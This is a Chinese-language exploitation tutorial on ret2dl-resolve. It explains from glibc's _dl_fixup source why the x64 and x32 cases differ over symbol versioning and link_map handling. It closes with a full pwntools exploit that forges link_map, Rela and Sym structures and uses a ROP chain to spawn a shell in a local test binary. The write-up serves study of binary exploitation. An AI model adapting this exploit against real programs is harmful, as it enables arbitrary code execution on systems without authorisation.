ret2dl x64和x32的差异

0x00 写在前面

在看本篇文章之前,得需要了解一下ret2dl的原理,可能更好理解一点。在学习研究通过_dl_runtime_reslove实现函数延迟绑定的时候,对比x64和x32有很多地方不一样,通过查询相关资料也没有比较好的解释,比如看雪的这篇文章 https://bbs.pediy.com/thread-227034.htm

里面提到在x64上使用这种方法的时候,需要把link_map+0x1c8置零,但是为什么呢?

下面的评论也有问,为什么在往bss写在_dl_fixup过程中需要用到相关伪造的结构,需要在bss上再加一段偏移?

也有人对此文件进行回答,因为在_dl_fixup会引用到位置较低的地方。什么是引用较低的位置?

如果你去查相关为什么要把link_map+0x1c8置零的?

有相关文章会告诉你如下的解释:

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

DT_VERSYM是与Symbol table 对应的一张存储每个符号版本index的表,相当于一个ElfW(Half) 数组。

这里没有把ElfW这个宏拆开,这里是代指Elf64_HalfElf32_Half两种结构,可以看到每次取的版本序列下标是在SYMTAB节里面的偏移地址。

我们都只知道这里偏移相对来说是比较大的,使得vernum[ELFW(R_SYM)(reloc->r_info)]读取出错。

其实我在这里对这个回答打了一个大大疑问,真的是这样吗??

这个解释是针对x64情况下解释,为什么我会有疑问呢?

为什么在x32下,没人关注这个问题呢?是否和前面提到的为什么要在bss前面在偏移遥想呼应呢?

于是有了此文,希望此文能给初识ret2dl的同学解惑。

0x01 DT_VERSYM

为了能从根本解决上面的问题,只有去读glibc的相关源码。

首先我们解决为什么大多数人只在x64上关注_dl_fixup里面对符号版本的读取。

我们先来了解一下,引用符号版本到底有什么用?

_dl_fixup调用过程有一个check_match函数这个函数是一个验证函数,整个查找在动态库里面查找对应符号的位置过程

首先会通过符号名字的hash值在动态库的HASHTABLE找到对应的位置,然后应用调用check_match这个函数进一部验证找到的符号位置,是不是我们需要,会通过两个方面,符号名的对比和符号版本的对比。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if (version != NULL)
{
if (__glibc_unlikely (verstab == NULL))
{
....
}
else
{
/* We can match the version information or use the
default one if it is not hidden. */
ElfW(Half) ndx = verstab[symidx] & 0x7fff;
if ((map->l_versions[ndx].hash != version->hash
|| strcmp (map->l_versions[ndx].name, version->name))
&& (version->hidden || map->l_versions[ndx].hash
|| (verstab[symidx] & 0x8000)))
/* It's not the version we want. */
return NULL;
}
}
else
{
/* No specific version is selected. There are two ways we
can got here:

If the library does not provide symbol version information
there is no problem at all: we simply use the symbol if it
is defined.
if (verstab != NULL)
{
if ((verstab[symidx] & 0x7fff)
>= ((flags & DL_LOOKUP_RETURN_NEWEST) ? 2 : 3))
{
/* Don't accept hidden symbols. */
if ((verstab[symidx] & 0x8000) == 0
&& (*num_versions)++ == 0)
/* No version so far. */
*versioned_sym = sym;

return NULL;
}
}

If the library does not provide symbol version information there is no problem at all

对应符号版本的处理有两种,如果指定了version的值,就严格的进行对比,如果没有指定version的值,即version的值为NULL的情况,可以看到上面的引用,那也是没有问题的

我们可以认为原二进制文件是没有提供DT_VERSYM节的,这是无关紧要的,只要找到与符号名字对应的符号,返回即可。这里需要我们对version有一个基本的了解。

再回到关于version的获取上:

1
2
3
4
5
6
7
8
9
10
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

先取对应符号版本r_found_version结构在l->l_versions的下标

下标的位置等于 DT_VERSYM节位置加上sizeof(ElfW(Half))*(ELFW(R_SYM) (reloc->r_info))

这个和取符号ELfW(Sym)的结构的时候一模一样,DT_SYMTAB节的位置加上sizeof(ElfW(Sym))*(ELFW(R_SYM) (reloc->r_info))

不同点在于两个节的基址和相关结构的大小不一样,偏移都是一样的。

在这里我们需要考虑这两个地方的取值

首先一定要保证ELfW(Sym)的取值绝对要一定正确,寻找符号需要的变量全在里面,所以这个时候是没办法去兼顾version的取值。

在version的取值上,我们不能再去考虑为对应符号伪造正确的version下标,我们可以做到让下标等于0,l->l_versions[0]一般来说这个位置的r_found_version的结构都是NULL,即保证了version是NULL

前面又说道,我们可以不指定符号的版本。那么问题来了,我们如何保证取到ndx的值等于0呢?

DT_VERSYM节的位置其实就是.gnu.version的节的位置,我们首先要确定这个节的基址,目标文件在装载的时候,相同类型段(这里用段,段一般用来只节在文件中称呼),会合并到一起,减少分页产生的碎片。具体的位置,我们可以用readelf来看一下

1
2
3
4
5
6
7
8
9
10
11
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got

可以看到.gnu.verison节在运行的时候,跟在.dynsym(DT_SYMTAB).dynstr(DT_STRTAB)节的后面,得想个办法让从.gnu.version节开始的偏移,落在0x00上。

这个时候我们再来看一下运行时的内存分布,下面内存分布是elf32的分布。

1
2
3
4
5
gef➤  vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out
0x08049000 0x0804a000 0x00000000 r-- /root/c_test/2019-07-31/32.out
0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

我们能很快找到其实是落在

0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out

这一块的内存分布上的,我们再去看看这块内存分布上最后一个节的end结束在哪?

.eh_frame end_addr = 0x8048768 , 按照分页的机制,每个节应该每次都是从0x1000开始的,就算不足0x1000,也要用一页。

所以从0x08048768-0x08049000这一段都是0x00填充的,我们得想办法,让version_ndx的偏移落到这个部分。

我们来算一下需要多少偏移量才行:

.gnu.verison start_addr =0x080482E4 (0x8048768-0x080482E4) / sizeof(ElfW(Half)) = 0x242

在x64和x32上ElfW(Half)的结构都是2个字节。

想一下至少得0x242个偏移量,这个偏移量得看取ElfW(Sym)这个过程允不允许。

伪造的相关结构要放在bss上,我们来看一下最大的偏移量是多少:

.dynsym start_addr = 0x080481D8 .bss对应的内存块落在 0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

即可计算得

(0x0804b000-0x080481D8) / sizeof(Elf32_Sym) = 0x2e2

经过计算0x2e2 > 0x242,所以我们是可以做到让version_ndx落在未使用的0x00上的,只需要把伪造的结构往.bss位置后面移动。

这里我们解答了为什么要在.bss节上还有加偏移量,不直接在.bss节上直接写。上面都是在x32的情况下。

所以我们不用考虑要去位置version结构了,下面再来看看x64下的情况,还是按照上面分布计算上面的两个偏移量 内存分布如下

1
2
3
4
5
6
7
gef➤  vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /root/c_test/2019-07-31/64.out
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /root/c_test/2019-07-31/64.out
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /root/c_test/2019-07-31/64.out

.gnu.verison start_addr =0x400429 即落在第一个内存页上,计算如下 (0x401000-0x400429) / sizeof(ElfW(Half)) = 0x5eb 即需要最小偏移量

.bss star_addr = 0x404040 即落在最后一个内存页上计算如下 (0x405000-0x404000) /sizeof (Elf64_Sym) = 0xaa,即最大偏移量。

0xaa < 0x5eb我们没办法让verison_ndx落在未使用的页空间上。x64和x32的情况出现了不同,这也是x32为什么没人去考虑version的问题

有人可能会想,我们也没必要让version落在未使用的页上,但是这具有随机性,不具有通用性。可能可以实现,也可能不可以,所以我们必须排除随机。

所以在x64上我们得想办法让version不成为我们的阻碍。继续看_dl_fixup的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_ve

rsion *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
...
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

看第一个if分支,我可以让第一个if不成立直接进入else分支,这个分支会直接返回 (l->l_addr+ sym->value)的地址,可能有的同学会想进入第一个if分支,让紧接的if语句不成立,不是同样可以让version=NULL吗?

那我们接着往下看,接着会进入_dl_lookup_symbol_x函数的调用,通过遍历scope和其中的link_map的链表查找符号的位置

1
2
3
4
5
6
7
8
/* Search the relevant loaded objects for a definition.  */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
{
int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
&current_value, *scope, start, version, flags,
skip_map, type_class, undef_map);
if (res > 0)
break;

scope = l->l_scope ,

再回过来头想一想if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

如果我想让这个不成立,那我们就得伪造l->l_info[VERSYMIDX (DT_VERSYM)]这个位置为NULL,那就得知道l的位置,如果l的位置无法泄露,那么我们就得重新伪造一个link_map

再看上面,那么这个link_mapl_scope也要伪造,l_scope是一个保存r_scope_elem的二级指针,r_scope_elem结构保存是link_map的指针数组,前面l是不知道的,那么这里这个l_scope的也是没办法伪造的,所以这里这条路走不了。

还是得看else的那个分支,其实else里面的(l->l_addr+ sym->value)就相当于一个任意地址执行,如果我们想要执行system,我们知晓libc的版本,那么这里我们需要一个地址已经绑定了的符号,__libc_start_main是一个不错的符号位置

这里需要把l->l_addr的值等于__libc_start_main的地址,然后伪造lsym->value的值为libc里面符号的偏移量。所以这里直接把got表里面__libc_start_main的位置当做link_map,_dl_fixup里面用link_map取了STRTAB,SYMTAB ,JMPREL的三个节的dyn结构,所以还需要去相应的位置写入伪造的结构。

切记,这里不能像在x32用leave; ret的gadget来劫持栈把rop链也放在bss节上,因为这里的_dl_runtime_reslove变成了_dl_runtime_resolve_xsave,在栈上有取地址写的操作。会造成地址写不了。

还有在_dl_fixup最后return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);里面注意在rel_addr可写,可以修改伪造rela的结构让它指到libc.bss节上。

下面贴上,我自己按照理解写的x64下,只有read的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
context.log_level='debug'

leave_ret = 0x0000000000401194 #leave ; ret

read_plt_addr = 0x401050

read_got_addr = 0x404028

dl_addr =0x401026
#strtab_addr = 0x4003D8
#symtab_addr = 0x400330
#jmprel_addr = 0x4004A0
bss_addr = 0x404040 + 0x30


libc_start_main_got_addr = 0x403FF0

system_offset = 0x20a10


buffer_area = bss_addr + 8*6 + 0x10 + 0x100
strtab_addr = symtab_addr = jmprel_addr = buffer_area


fake_dyn = p64(0)
fake_dyn +=p64(buffer_area)
fake_dyn_addr = bss_addr + 8*6

fake_link_map = p64(libc_start_main_got_addr) #l_addr
fake_link_map += "\x00"*(0x68-len(fake_link_map))+p64(fake_dyn_addr) #link_map+0x68 == strtab
fake_link_map += p64(fake_dyn_addr)
fake_link_map += "\x00"*(0xf8-len(fake_link_map))+p64(fake_dyn_addr) # link_map+0xf8 == jmprel



#rel
#typedef struct
#{
# Elf64_Addr r_offset; /* Address */
# Elf64_XWord r_info; /* Relocation type and symbol index */
# Elf64_Sxword r_addend; /* Addend */
#} Elf64_Rela;

fake_symtab_offset = 1
fake_rela = p64(0x197050) #setbuf_got_Addr
fake_rela += p64((fake_symtab_offset << 32) + 7)
fake_rela += p64(0)

#sym
#typedef struct
#{
# Elf64_Word st_name; /* Symbol name (string tbl index) */
# unsigned char st_info; /* Symbol type and binding */
# unsigned char st_other; /* Symbol visibility */
# Elf64_Section st_shndx; /* Section index */
# Elf64_Addr st_value; /* Symbol value */
# Elf64_Xword st_size; /* Symbol size */
#} Elf64_Sym;
fake_strtab_offset = 0x18 + 0x18
fake_sym = p32(fake_strtab_offset)
fake_sym +=chr(0x12)
fake_sym +=chr(0x3)
fake_sym +=p16(0)
fake_sym +=p64(0x20a10)
fake_sym +=p64(0)

sh = process('./64.out')
#sh = process('./64.out')
raw_input('aaaa')

payload = "A"*112
payload += p64(bss_addr)
payload += p64(0x4011F2) # pop rbx , pop rbp , pop 12, pop13, pop r14, pop r15 , ret
payload += p64(0)
payload += p64(1)
payload += p64(read_got_addr)
payload += p64(0)
payload += p64(bss_addr)
payload += p64(0x200)
payload += p64(0x4011D8)# mov rdx ,15;mov rsi, r14;mov edi, r13d;call qword ptr [r12+rbx*8];add rbx, 1;cmp rbp, rbx;jmp 0x04011ee;
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x68_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x68) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x70_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x70) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0xf8_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0xf8) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx
payload += p64(bss_addr) # pop rbp
payload += p64(0) # pop 12
payload += p64(0) # pop 13
payload += p64(0) # pop 14
payload += p64(0) # pop 15
#payload += p64(leave_ret) #ret
payload += p64(0x4011FB)

bin_sh_addr = buffer_area + 0x18 + 0x18 + 0x7

payload += p64(bin_sh_addr)
payload += p64(dl_addr)
payload += p64(libc_start_main_got_addr) #link_map_address
payload += p64(0)

payload += "M"*(0x200-len(payload))


#payload += p64(read_plt_addr)
#payload += p64(0)
#payload += p64(bss_addr)
#payload += p64(0x200)
#payload += p64(leave_ret)
#payload += "M"*(0x200-len(payload))
sh.send(payload)

rop = p64(0)
rop += p64(0x4011FB) # pop rdi;ret
rop += p64(bin_sh_addr)
rop += p64(dl_addr)

rop += p64(libc_start_main_got_addr) #link_map_address
rop += p64(0) # fake_rela_offset

strings = "system\x00/bin/sh\x00\x00"
payload = rop + fake_dyn +fake_link_map + fake_rela + fake_sym + strings
payload += "M"*(0x200-len(payload))
sh.send(payload)
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))


sh.interactive()

Screenshot%20from%202019-08-01%2001-27-24

在这里面其实fake_link_map这个没必要写,但是这段占用的空间不能去

为什么你写的时候就知道了,还一些细节在里面,如果大家有兴趣,或者不懂,或者有疑问的地方都可以问我。

不知道有多少人真正懂了ret2dl,说实话glibc的源码里面宏看的我头疼!!!